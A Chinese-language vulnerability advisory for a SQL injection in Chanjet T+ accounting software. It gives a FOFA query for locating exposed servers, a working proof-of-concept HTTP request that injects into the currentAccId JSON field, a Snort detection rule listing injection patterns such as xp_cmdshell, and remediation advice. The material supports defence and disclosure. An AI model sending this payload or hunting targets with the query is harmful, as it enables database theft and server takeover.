

畅捷通T+ Load SQL注入漏洞

畅捷通T+ Load 处存在SQL注入漏洞，攻击者可根据该漏洞进行sql注入攻击获取数据库乃至服务器权限。

影响版本

畅捷通T+

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="畅捷通-TPlus"

POC/EXP：

```
POST
/tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanySettingController,Ufida.T.SM.UIP.ashx?
method=Load HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/113.0
Content-Type: application/json

{"currentAccId":"'2' and 1=@@version--+", "currentAcc":"'1", "currentDsName":"'1",
"currentVersion":"'1", "currentVersionNo":"'1"}
```



snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"T+ MultiCompanySettingController SQL Injection - Extended Patterns";
  flow:to_server,established;
  content:"POST"; http_method;

  pcre:"/\/tplus\/ajaxpro\/Ufida.T.SM.UIP.MultiCompanySettingController[^\?]*\/?
  method=Load/i";
  content:"application/json"; http_header;
  pcre:"/\"(currentAccId|currentAcc|currentDsName)\\\"s*:\\s*\"[^\"]\"*('|\\%27)
  [^\"]\\}\"*(SELECT|UNION|AND\\s+1\\=[^\\s]+|OR\\s+1\\=1|EXEC(\\s|\\
  ()+xp_cmdshell|@@version|WAITFOR\\s+DELAY)/i";
  metadata:service http;
  metadata:attack_type "JSON Parameter SQLi";
  metadata:affected_product "Chanjet T+";
  reference:url,www.example.com/tplus-json-sqli;
  classtype:sql-injection;
  sid:1000009;
  rev:2;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本